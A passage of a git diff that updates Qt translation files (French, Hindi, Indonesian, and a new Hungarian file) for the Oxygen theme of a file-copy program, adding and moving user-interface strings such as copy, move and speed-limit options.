- <location line="+7"/>
- <source>Next</source>
- <translation>Suivant</translation>
+ <location line="+26"/>
+ <source>Move down the selected items</source>
+ <translation>Déplacer l&apos;item selectionné vers le bas</translation>
</message>
<message>
- <location line="+39"/>
- <source>Options</source>
- <translation>Options</translation>
+ <location line="+26"/>
+ <source>Move the selected items to the bottom</source>
+ <translation>Déplacer l&apos;item selectionné à la fin</translation>
</message>
<message>
- <location line="+9"/>
- <source>Copy end</source>
- <translation>Fin de copie</translation>
+ <location line="+26"/>
+ <source>Add file/folder</source>
+ <translation>Ajouter fichier/dossier</translation>
</message>
<message>
- <location line="+21"/>
- <source>At the end of the copy: </source>
- <translation>A la fin de la copie:</translation>
+ <location line="+29"/>
+ <source>Delete the selected items</source>
+ <translation>Supprimer les items sélectionnés</translation>
</message>
<message>
- <location line="+39"/>
- <source>Don&apos;t close if errors are found</source>
- <translation>Garder ouvert s&apos;il y a des erreurs</translation>
+ <location line="+26"/>
+ <source>Search</source>
+ <translation>Rechercher</translation>
</message>
<message>
- <location line="+5"/>
- <source>Never close</source>
- <translation>Ne jamais fermer</translation>
+ <location line="+29"/>
+ <source>Export the transfer list</source>
+ <translation>Exporter la liste de transfert</translation>
</message>
<message>
- <location line="+5"/>
- <source>Always close</source>
- <translation>Toujours fermer</translation>
+ <location line="+26"/>
+ <source>Import the transfer list</source>
+ <translation>Importer la liste de transfert</translation>
</message>
<message>
- <location line="+11"/>
- <source>Speed limit</source>
- <translation>Limitation de la vitesse</translation>
+ <location line="+55"/>
+ <source>Previous</source>
+ <translation>Précédent</translation>
</message>
<message>
- <location line="+31"/>
- <source> KB/s</source>
- <translation> Ko/s</translation>
+ <location line="+7"/>
+ <source>Next</source>
+ <translation>Suivant</translation>
</message>
<message>
- <location line="+32"/>
- <source>File collisions</source>
- <translation>Collision de fichier</translation>
+ <location line="+35"/>
+ <location line="+69"/>
+ <source>Error</source>
+ <translation>Erreur</translation>
</message>
<message>
- <location line="+21"/>
- <location line="+60"/>
- <source>What to do: </source>
- <translation>Opération à effectuer:</translation>
+ <location line="-49"/>
+ <source>Export the errors into transfer list</source>
+ <translation>Exporter les erreurs dans une liste de transfert</translation>
</message>
<message>
- <location line="-21"/>
- <source>Copy errors</source>
- <translation>Erreurs de copie</translation>
+ <location line="+39"/>
+ <source>Source</source>
+ <translation>Source</translation>
</message>
<message>
- <location line="+78"/>
- <source>Interface</source>
- <translation>Interface</translation>
+ <location line="+5"/>
+ <source>Destination</source>
+ <translation>Destination</translation>
</message>
<message>
- <location line="+11"/>
- <source>Show speed as main informations</source>
- <translation>Montrer la vitesse comme une information principale</translation>
+ <location line="+14"/>
+ <source>Interface</source>
+ <translation>Interface</translation>
</message>
<message>
<location line="+37"/>
@@ -156,7 +232,7 @@
<message>
<location line="+9"/>
<source>Move file(s)</source>
- <translation>Déplacer les fichier(s)</translation>
+ <translation>Déplacer le(s) fichier(s)</translation>
</message>
<message>
<location line="+9"/>
@@ -166,35 +242,108 @@
<message>
<location line="+9"/>
<source>Copy file(s)</source>
- <translation>Copier les fichier(s)</translation>
+ <translation>Copier le(s) fichier(s)</translation>
</message>
<message>
<location line="+9"/>
<source>Copy folder</source>
<translation>Copier un répertoire</translation>
</message>
+</context>
+<context>
+ <name>themesOptions</name>
<message>
- <location line="-534"/>
- <source>Ctrl+F</source>
- <translation>Ctrl+F</translation>
+ <location filename="../../themesOptions.ui" line="+253"/>
+ <source>Show dual progression</source>
+ <translation>Afficher une double progression</translation>
</message>
<message>
- <location line="-354"/>
- <source>Shutdown when is finish</source>
- <translation>Fermer quand est fini</translation>
+ <location line="-48"/>
+ <source>Show speed as main information</source>
+ <translation>Afficher la vitesse comme information principale</translation>
+ </message>
+ <message>
+ <location line="-161"/>
+ <source>Use</source>
+ <translation>Utilisation</translation>
+ </message>
+ <message>
+ <location line="+6"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation>Déplier automatiquement les détails</translation>
+ </message>
+ <message>
+ <location line="+17"/>
+ <source>Minimize on close to systray</source>
+ <translation>Minimiser à la fermeture dans le systray</translation>
+ </message>
+ <message>
+ <location line="+29"/>
+ <source>At the end of the copy</source>
+ <translation>À la fin de la copie</translation>
+ </message>
+ <message>
+ <location line="+7"/>
+ <location line="+34"/>
+ <source>Limit copy speed to</source>
+ <translation>Limiter la vitesse de copie à</translation>
+ </message>
+ <message>
+ <location line="+39"/>
+ <source>Start minimized</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+116"/>
+ <source>Click to edit the color</source>
+ <translation>Cliquer pour éditer la couleur</translation>
+ </message>
+ <message>
+ <source>At the end of the copy: </source>
+ <translation type="obsolete">À la fin de la copie:</translation>
+ </message>
+ <message>
+ <source>Limit copy speed at:</source>
+ <translation type="obsolete">Limiter la vitesse de copie à:</translation>
+ </message>
+ <message>
+ <source>Limit copy speed to:</source>
+ <translation type="obsolete">Limiter la vitesse de copie à:</translation>
+ </message>
+ <message>
+ <location line="-145"/>
+ <source> KB/s</source>
+ <translation> Ko/s</translation>
+ </message>
+ <message>
+ <location line="+52"/>
+ <source>Informations</source>
+ <translation>Informations</translation>
+ </message>
+ <message>
+ <location line="+38"/>
+ <source>Display</source>
+ <translation>Affichage</translation>
+ </message>
+ <message>
+ <location line="+6"/>
+ <source>Speed with progress bar</source>
+ <translation>Vitesse avec barre de progression</translation>
+ </message>
+ <message>
+ <location line="+30"/>
+ <source>Progression color</source>
+ <translation>Couleur de progression</translation>
</message>
-</context>
-<context>
- <name>options</name>
<message>
- <location filename="../../options.ui" line="+20"/>
- <source>Show speed as main informations</source>
- <translation>Montrer la vitesse comme une information principale</translation>
+ <location line="-10"/>
+ <source>Show progression in the title</source>
+ <translation>Afficher la progression dans le titre</translation>
</message>
<message>
- <location line="+13"/>
- <source>Start with more button pushed</source>
- <translation>Démarrer avec le boutton plus pressé</translation>
+ <location line="-203"/>
+ <source>Always on top</source>
+ <translation>Toujours au 1er plan</translation>
</message>
</context>
</TS>
diff --git a/plugins/Themes/Oxygen/Languages/hi/translation.ts b/plugins/Themes/Oxygen/Languages/hi/translation.ts
index 0708252..ae86b54 100644
--- a/plugins/Themes/Oxygen/Languages/hi/translation.ts
+++ b/plugins/Themes/Oxygen/Languages/hi/translation.ts
@@ -4,15 +4,84 @@
<context>
<name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="184"/>
+ <location filename="../../interface.cpp" line="240"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="310"/>
<source>File %1/%2, size: %3/%4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="737"/>
+ <location filename="../../interface.cpp" line="524"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="526"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="947"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="948"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="949"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="951"/>
<source>File Name, 0KB</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../interface.cpp" line="1134"/>
+ <location filename="../../interface.cpp" line="1146"/>
+ <location filename="../../interface.cpp" line="1158"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1233"/>
+ <location filename="../../interface.cpp" line="1237"/>
+ <location filename="../../interface.cpp" line="1239"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="223"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="224"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="225"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="421"/>
+ <location filename="../../ThemesFactory.cpp" line="436"/>
+ <location filename="../../ThemesFactory.cpp" line="451"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>interfaceCopy</name>
@@ -22,178 +91,238 @@
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="69"/>
+ <location filename="../../interface.ui" line="65"/>
<source>To:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="196"/>
- <source>0KB/sec</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../interface.ui" line="216"/>
+ <location filename="../../interface.ui" line="226"/>
<source>&amp;More</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="236"/>
+ <location filename="../../interface.ui" line="246"/>
<source>&amp;Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="250"/>
+ <location filename="../../interface.ui" line="260"/>
<source>&amp;Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="261"/>
+ <location filename="../../interface.ui" line="271"/>
<source>&amp;Cancel</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="276"/>
- <location filename="../../interface.ui" line="748"/>
- <source>Limit copy speed at:</source>
+ <location filename="../../interface.ui" line="118"/>
+ <source>Close on transfer completion</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="293"/>
- <source>Unlimited</source>
+ <location filename="../../interface.ui" line="286"/>
+ <source>Limit copy speed to:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="323"/>
- <source>Copy list</source>
+ <location filename="../../interface.ui" line="329"/>
+ <source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="591"/>
- <source>Previous</source>
+ <location filename="../../interface.ui" line="352"/>
+ <source>Move the selected items to the top</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="598"/>
- <source>Next</source>
+ <location filename="../../interface.ui" line="378"/>
+ <source>Move up the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="637"/>
- <source>Options</source>
+ <location filename="../../interface.ui" line="404"/>
+ <source>Move down the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="646"/>
- <source>Copy end</source>
+ <location filename="../../interface.ui" line="430"/>
+ <source>Move the selected items to the bottom</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="667"/>
- <source>At the end of the copy: </source>
+ <location filename="../../interface.ui" line="456"/>
+ <source>Add file/folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="706"/>
- <source>Don&apos;t close if errors are found</source>
+ <location filename="../../interface.ui" line="485"/>
+ <source>Delete the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="711"/>
- <source>Never close</source>
+ <location filename="../../interface.ui" line="511"/>
+ <source>Search</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="716"/>
- <source>Always close</source>
+ <location filename="../../interface.ui" line="540"/>
+ <source>Export the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="727"/>
- <source>Speed limit</source>
+ <location filename="../../interface.ui" line="566"/>
+ <source>Import the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="758"/>
- <source> KB/s</source>
+ <location filename="../../interface.ui" line="621"/>
+ <source>Previous</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="790"/>
- <source>File collisions</source>
+ <location filename="../../interface.ui" line="628"/>
+ <source>Next</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="811"/>
- <location filename="../../interface.ui" line="871"/>
- <source>What to do: </source>
+ <location filename="../../interface.ui" line="663"/>
+ <location filename="../../interface.ui" line="732"/>
+ <source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="850"/>
- <source>Copy errors</source>
+ <location filename="../../interface.ui" line="683"/>
+ <source>Export the errors into transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="928"/>
- <source>Interface</source>
+ <location filename="../../interface.ui" line="722"/>
+ <source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="939"/>
- <source>Show speed as main informations</source>
+ <location filename="../../interface.ui" line="727"/>
+ <source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="976"/>
+ <location filename="../../interface.ui" line="741"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="778"/>
<source>Add file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="985"/>
+ <location filename="../../interface.ui" line="787"/>
<source>Add folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="994"/>
+ <location filename="../../interface.ui" line="796"/>
<source>Move file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1003"/>
+ <location filename="../../interface.ui" line="805"/>
<source>Move folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1012"/>
+ <location filename="../../interface.ui" line="814"/>
<source>Copy file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1021"/>
+ <location filename="../../interface.ui" line="823"/>
<source>Copy folder</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="253"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../interface.ui" line="487"/>
- <source>Ctrl+F</source>
+ <location filename="../../themesOptions.ui" line="205"/>
+ <source>Show speed as main information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="133"/>
- <source>Shutdown when is finish</source>
+ <location filename="../../themesOptions.ui" line="44"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="50"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="67"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="96"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="103"/>
+ <location filename="../../themesOptions.ui" line="137"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="147"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="176"/>
+ <source>Start minimized</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="199"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="237"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="243"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="273"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="292"/>
+ <source>Click to edit the color</source>
<translation type="unfinished"></translation>
</message>
-</context>
-<context>
- <name>options</name>
<message>
- <location filename="../../options.ui" line="20"/>
- <source>Show speed as main informations</source>
+ <location filename="../../themesOptions.ui" line="263"/>
+ <source>Show progression in the title</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../options.ui" line="33"/>
- <source>Start with more button pushed</source>
+ <location filename="../../themesOptions.ui" line="60"/>
+ <source>Always on top</source>
<translation type="unfinished"></translation>
</message>
</context>
diff --git a/plugins/Themes/Oxygen/Languages/hu/translation.ts b/plugins/Themes/Oxygen/Languages/hu/translation.ts
new file mode 100644
index 0000000..ce37a23
--- /dev/null
+++ b/plugins/Themes/Oxygen/Languages/hu/translation.ts
@@ -0,0 +1,329 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="hu">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="240"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation>Vásárold meg az Ultimate verziót a fejlesztés támogatásához</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="310"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation>Fájl %1/%2, méret: %3/%4</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="524"/>
+ <source>Copy list</source>
+ <translation>Lista másolása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="526"/>
+ <source>Move list</source>
+ <translation>Lista mozgatása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="947"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation>Ne zárja be, ha hiba történik</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="948"/>
+ <source>Never close</source>
+ <translation>Sose zárja be</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="949"/>
+ <source>Always close</source>
+ <translation>Mindig zárja be</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="951"/>
+ <source>File Name, 0KB</source>
+ <translation>Fájlnév, 0KB</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1134"/>
+ <location filename="../../interface.cpp" line="1146"/>
+ <location filename="../../interface.cpp" line="1158"/>
+ <source>Select a color</source>
+ <translation>Válassz egy színt</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1233"/>
+ <location filename="../../interface.cpp" line="1237"/>
+ <location filename="../../interface.cpp" line="1239"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="223"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation>Ne zárja be, ha hiba történik</translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="224"/>
+ <source>Never close</source>
+ <translation>Sose zárja be</translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="225"/>
+ <source>Always close</source>
+ <translation>Mindig zárja be</translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="421"/>
+ <location filename="../../ThemesFactory.cpp" line="436"/>
+ <location filename="../../ThemesFactory.cpp" line="451"/>
+ <source>Select a color</source>
+ <translation>Válassz egy színt</translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation>Forrás:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="65"/>
+ <source>To:</source>
+ <translation>Cél:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
+ <source>&amp;More</source>
+ <translation>&amp;Több</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="246"/>
+ <source>&amp;Pause</source>
+ <translation>&amp;Szünet</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="260"/>
+ <source>&amp;Skip</source>
+ <translation>&amp;Kihagy</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="271"/>
+ <source>&amp;Cancel</source>
+ <translation>&amp;Mégse</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="329"/>
+ <source>Transfer list</source>
+ <translation>Átviteli lista</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="621"/>
+ <source>Previous</source>
+ <translation>Előző</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="628"/>
+ <source>Next</source>
+ <translation>Következő</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="741"/>
+ <source>Interface</source>
+ <translation>Kezelőfelület</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="352"/>
+ <source>Move the selected items to the top</source>
+ <translation>Kijelölések elemek mozgatása legfelülre</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="118"/>
+ <source>Close on transfer completion</source>
+ <translation>Átvitel végeztével zárja be</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="286"/>
+ <source>Limit copy speed to:</source>
+ <translation>Másolási sebesség korlátozása:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="378"/>
+ <source>Move up the selected items</source>
+ <translation>Kijelölt elemek mozgatása fel</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="404"/>
+ <source>Move down the selected items</source>
+ <translation>Kijelölt elemek mozgatása le</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="430"/>
+ <source>Move the selected items to the bottom</source>
+ <translation>Kijelölések elemek mozgatása legalulra</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="456"/>
+ <source>Add file/folder</source>
+ <translation>Fájl/mappa hozzáadása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="485"/>
+ <source>Delete the selected items</source>
+ <translation>Kijelölt elemek törlése</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="511"/>
+ <source>Search</source>
+ <translation>Keresés</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="540"/>
+ <source>Export the transfer list</source>
+ <translation>Átviteli lista exportálása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="566"/>
+ <source>Import the transfer list</source>
+ <translation>Átviteli lista importálása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="663"/>
+ <location filename="../../interface.ui" line="732"/>
+ <source>Error</source>
+ <translation>Hiba</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="683"/>
+ <source>Export the errors into transfer list</source>
+ <translation>Hibák exportálása az átviteli listába</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="722"/>
+ <source>Source</source>
+ <translation>Forrás</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="727"/>
+ <source>Destination</source>
+ <translation>Cél</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="778"/>
+ <source>Add file</source>
+ <translation>Fájl hozzáadása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="787"/>
+ <source>Add folder</source>
+ <translation>Mappa hozzáadása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="796"/>
+ <source>Move file(s)</source>
+ <translation>Fájl(ok) mozgatása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="805"/>
+ <source>Move folder</source>
+ <translation>Mappa mozgatása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="814"/>
+ <source>Copy file(s)</source>
+ <translation>Fájl(ok) másolása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="823"/>
+ <source>Copy folder</source>
+ <translation>Mappa másolása</translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="253"/>
+ <source>Show dual progression</source>
+ <translation>Páros folyamat mutatása</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="205"/>
+ <source>Show speed as main information</source>
+ <translation>Sebesség mutatása, mint fő információ</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="44"/>
+ <source>Use</source>
+ <translation>Használ</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="50"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation>Indítás a &quot;több gomb&quot; lenyomásával</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="67"/>
+ <source>Minimize on close to systray</source>
+ <translation>Bezáráskor minimalizálás a tálcára</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="96"/>
+ <source>At the end of the copy</source>
+ <translation>A másolás befejezésekor</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="103"/>
+ <location filename="../../themesOptions.ui" line="137"/>
+ <source>Limit copy speed to</source>
+ <translation>Másolási sebesség korlátozása</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="176"/>
+ <source>Start minimized</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="292"/>
+ <source>Click to edit the color</source>
+ <translation>Kattints a szín szerkesztéséhez</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="147"/>
+ <source> KB/s</source>
+ <translation> KB/s</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="199"/>
+ <source>Informations</source>
+ <translation>Információk</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="237"/>
+ <source>Display</source>
+ <translation>Megjelenítés</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="243"/>
+ <source>Speed with progress bar</source>
+ <translation>Sebesség folyamatsávval</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="273"/>
+ <source>Progression color</source>
+ <translation>Folyamat színe</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="263"/>
+ <source>Show progression in the title</source>
+ <translation>Folyamat mutatása a címsorban</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="60"/>
+ <source>Always on top</source>
+ <translation>Mindig legfelül</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/Themes/Oxygen/Languages/id/translation.ts b/plugins/Themes/Oxygen/Languages/id/translation.ts
index 0708252..ae86b54 100644
--- a/plugins/Themes/Oxygen/Languages/id/translation.ts
+++ b/plugins/Themes/Oxygen/Languages/id/translation.ts
@@ -4,15 +4,84 @@
<context>
<name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="184"/>
+ <location filename="../../interface.cpp" line="240"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="310"/>
<source>File %1/%2, size: %3/%4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="737"/>
+ <location filename="../../interface.cpp" line="524"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="526"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="947"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="948"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="949"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="951"/>
<source>File Name, 0KB</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../interface.cpp" line="1134"/>
+ <location filename="../../interface.cpp" line="1146"/>
+ <location filename="../../interface.cpp" line="1158"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1233"/>
+ <location filename="../../interface.cpp" line="1237"/>
+ <location filename="../../interface.cpp" line="1239"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="223"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="224"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="225"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="421"/>
+ <location filename="../../ThemesFactory.cpp" line="436"/>
+ <location filename="../../ThemesFactory.cpp" line="451"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>interfaceCopy</name>
@@ -22,178 +91,238 @@
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="69"/>
+ <location filename="../../interface.ui" line="65"/>
<source>To:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="196"/>
- <source>0KB/sec</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../interface.ui" line="216"/>
+ <location filename="../../interface.ui" line="226"/>
<source>&amp;More</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="236"/>
+ <location filename="../../interface.ui" line="246"/>
